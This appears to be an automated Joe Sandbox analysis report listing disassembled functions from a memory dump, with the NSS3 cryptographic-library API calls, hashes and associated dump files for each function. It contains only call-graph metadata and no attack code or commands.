Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 2d0c11b89fa4d314802e7e8a1f8c3df46124a625cc52c9ca8816609cd61827d6
Instruction ID: 009fc838e1745d02e2a34b7818b0b48fb77a0416a04a5c2b64bb0612863f212c
Opcode Fuzzy Hash: 2d0c11b89fa4d314802e7e8a1f8c3df46124a625cc52c9ca8816609cd61827d6
Instruction Fuzzy Hash: D93129B1E002069FEB008F658C449AF77F6EF85328B188529E8155BB41EB31DD15C7B9

Function 6C678C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C678C7C

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C678CB0
TlsGetValue.KERNEL32 ref: 6C678CD1
EnterCriticalSection.KERNEL32(?), ref: 6C678CE5
PR_Unlock.NSS3(?), ref: 6C678D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C678D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C678D93

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 0cee7377bdfb43a627ddb0c0c9ab9afe3ea5a96e6474638fbb16ff66c50419e5
Instruction ID: bc14d1f786a2a1f66e5fb678229d84f920ddba061b3f80dd76f9078290abce55
Opcode Fuzzy Hash: 0cee7377bdfb43a627ddb0c0c9ab9afe3ea5a96e6474638fbb16ff66c50419e5
Instruction Fuzzy Hash: E7315571A00205AFE7209F68CD44BEAB7B0FF19318F140536EA1967B60D770AD24C7E9

Function 6C6B9D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C6B9C5B), ref: 6C6B9D82

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C6B9C5B), ref: 6C6B9DA9

Part of subcall function 6C6B1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B136A
Part of subcall function 6C6B1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B137E
Part of subcall function 6C6B1340: PL_ArenaGrow.NSS3(?,6C64F599,?,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?), ref: 6C6B13CF
Part of subcall function 6C6B1340: PR_Unlock.NSS3(?,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C6B9C5B), ref: 6C6B9DCE

Part of subcall function 6C6B1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B13F0
Part of subcall function 6C6B1340: PL_ArenaGrow.NSS3(?,6C64F599,?,?,?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6C6B1445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C6B9C5B), ref: 6C6B9DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C6B9C5B), ref: 6C6B9DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C6B9C5B), ref: 6C6B9E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6C6B9C5B), ref: 6C6B9E91

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

Part of subcall function 6C6B1560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C6AFAAB,00000000), ref: 6C6B157E
Part of subcall function 6C6B1560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C6AFAAB,00000000), ref: 6C6B1592
Part of subcall function 6C6B1560: memset.VCRUNTIME140(?,00000000,?), ref: 6C6B1600
Part of subcall function 6C6B1560: PL_ArenaRelease.NSS3(?,?), ref: 6C6B1620
Part of subcall function 6C6B1560: PR_Unlock.NSS3(?), ref: 6C6B1639

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: c8b8f3062b7979f72214e2e2f343d74922bcfc162df5c617cad97fa8202213ce
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: AD417CB4601606AFE7409F15D840B92BBB1FF5534CF148128E9189BFA0EB72E836CF94

Function 6C67DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C67DDEC

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

PK11_DigestBegin.NSS3(00000000), ref: 6C67DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C67DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C67DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C67DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C67DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67DECC

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 99a520589e114d5b676f0ccaee57b6667c668d246de155e62ca4bd551a6fb542
Instruction ID: 40894796c741a6dfc9eb52c67c13617b1ce7ee90e4acca6d7de101ed3258fcc9
Opcode Fuzzy Hash: 99a520589e114d5b676f0ccaee57b6667c668d246de155e62ca4bd551a6fb542
Instruction Fuzzy Hash: 493128B29002146BDB21AF64AD00BBF76B8DF55708F050935EC09A7701FB31D919C6FA

Function 6C657E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C657E48

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C657E5B

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C657E7B

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C77925C,?), ref: 6C657E92

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C657EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C657ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C657EFA

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 2958d2f64876b8eeb7002b891954db4e500f2e5deca3736a56d45bf49777d95d
Instruction ID: 9b7b3ff5ec3464678172edb9912dd88b184e74fe246ce5a8f69622df6a2ae730
Opcode Fuzzy Hash: 2958d2f64876b8eeb7002b891954db4e500f2e5deca3736a56d45bf49777d95d
Instruction Fuzzy Hash: 1331C1B2A113155BEB10CB659D44B9B77A8AF45358F658824DC15EBB01F730EC24C7A8

Function 6C6ADC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C6AD9E4,00000000), ref: 6C6ADC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C6AD9E4,00000000), ref: 6C6ADC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C6AD9E4,00000000), ref: 6C6ADC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6ADC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6ADCAD

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 86ca336ff8a6246b26f397e06b5cde8ee01913c853765e025adc51f61e1e0abe
Instruction ID: a608700d852fc8254619c0dbc442647c3b4d40028c7b71c0abb847197cf1788b
Opcode Fuzzy Hash: 86ca336ff8a6246b26f397e06b5cde8ee01913c853765e025adc51f61e1e0abe
Instruction Fuzzy Hash: AB316DB5A00300AFD710CF99D884B96B7F8AF09358F548429ED49CBB01E772E945CBA5

Function 6C672E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C66E728,?,00000038,?,?,00000000), ref: 6C672E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C672E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C672E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C672E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C672E9E
PR_Unlock.NSS3(?), ref: 6C672EAB
PR_Unlock.NSS3(?), ref: 6C672F0D

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: ea536a30826d760c6ed48a5676f5a0cc77fa18eab21892cb315162cdc5cd192f
Instruction ID: 7086a1547b0b6a3754f656a697d6b2f7c0e9920d098c0470c92997f72c873469
Opcode Fuzzy Hash: ea536a30826d760c6ed48a5676f5a0cc77fa18eab21892cb315162cdc5cd192f
Instruction Fuzzy Hash: B431E475A00505ABEB105F68EC448BAB775EF46358B048574EC1887A11FB31EC65C7E9

Function 6C691EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&il,6C676295,?,00000000,?,00000001,S&il,?), ref: 6C691ECB

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

TlsGetValue.KERNEL32(?,00000001,?,S&il,6C676295,?,00000000,?,00000001,S&il,?), ref: 6C691EF1
EnterCriticalSection.KERNEL32(?), ref: 6C691F01
PR_SetError.NSS3(00000000,00000000), ref: 6C691F39

Part of subcall function 6C69FE20: TlsGetValue.KERNEL32(6C675ADC,?,00000000,00000001,?,?,00000000,?,6C66BA55,?,?), ref: 6C69FE4B
Part of subcall function 6C69FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C69FE5F

PR_Unlock.NSS3(?), ref: 6C691F67

Strings

S&il, xrefs: 6C691EA0

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&il
API String ID: 704537481-872921247
Opcode ID: e862b00b19ece749586da347e34ce76d79f1c9ddbb7b4658946143facddb3c6b
Instruction ID: d79f04e49aa2052efab44391b3388b5b50f0617fb5047a59d1bbeac192c8e901
Opcode Fuzzy Hash: e862b00b19ece749586da347e34ce76d79f1c9ddbb7b4658946143facddb3c6b
Instruction Fuzzy Hash: 48213775A0020AABEB009F29EC44F9A37ADEF423A8F244164FD19C7B01E731D955C7E9

Function 6C6BCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C6BCD93,?), ref: 6C6BCEEE

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C6BCD93,?), ref: 6C6BCEFC

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C6BCD93,?), ref: 6C6BCF0B

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C6BCD93,?), ref: 6C6BCF1D

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C6BCD93,?,?,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF78

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 16ba786e57d150884e2954345e4da23bec673fbe68648ccc5d555f5f0d27a667
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 6D11E4B1E002047BEB00AA667C51B6BB5EC9F4524DF004039FC0AE7741FB70DA2887BA

Function 6C668C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C668C1B
EnterCriticalSection.KERNEL32 ref: 6C668C34
PL_ArenaAllocate.NSS3 ref: 6C668C65
PR_Unlock.NSS3 ref: 6C668C9C
PR_Unlock.NSS3 ref: 6C668CB6

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

Strings

KRAM, xrefs: 6C668C8F

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: ba726d3de627fab06c18c243c56e499a17b65abe65e777fc0eee1a79424ce87a
Instruction ID: 76328f497f12a5b1d249a6ff8bd83f0491ada62fe47fbed3f0cd1a15e1d93497
Opcode Fuzzy Hash: ba726d3de627fab06c18c243c56e499a17b65abe65e777fc0eee1a79424ce87a
Instruction Fuzzy Hash: 772197B16056019FD700AF79C484559F7F4FF0A308F05896ED884CBB11DB35E885CB9A

Function 6C678E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C), ref: 6C678EA2

Part of subcall function 6C69F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C69F854
Part of subcall function 6C69F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C69F868
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C69F882
Part of subcall function 6C69F820: free.MOZGLUE(04C483FF,?,?), ref: 6C69F889
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C69F8A4
Part of subcall function 6C69F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C69F8AB
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C69F8C9
Part of subcall function 6C69F820: free.MOZGLUE(280F10EC,?,?), ref: 6C69F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C), ref: 6C678EC3
TlsGetValue.KERNEL32(?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C), ref: 6C678EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C678EF1
PR_Unlock.NSS3 ref: 6C678F20

Strings

b.il, xrefs: 6C678E96, 6C678F25

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.il
API String ID: 1978757487-1921218275
Opcode ID: e83cc7f2db6ea076c212bdfd937235ba5b15d3f2ae2ea9bdf130985810c419da
Instruction ID: d589748912b51aad0dc5bac8657d9d82ec45b37514a343fa6f63ff163eb44522
Opcode Fuzzy Hash: e83cc7f2db6ea076c212bdfd937235ba5b15d3f2ae2ea9bdf130985810c419da
Instruction Fuzzy Hash: 43219C70908705AFC700AF29D184599BBF0FF49368F01496EEC98ABB50D734E854CBEA

Function 6C6E3E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_EnterMonitor.NSS3(?), ref: 6C6E3E45

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

PR_EnterMonitor.NSS3(?), ref: 6C6E3E5C
PR_EnterMonitor.NSS3(?), ref: 6C6E3E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C6E3EA6

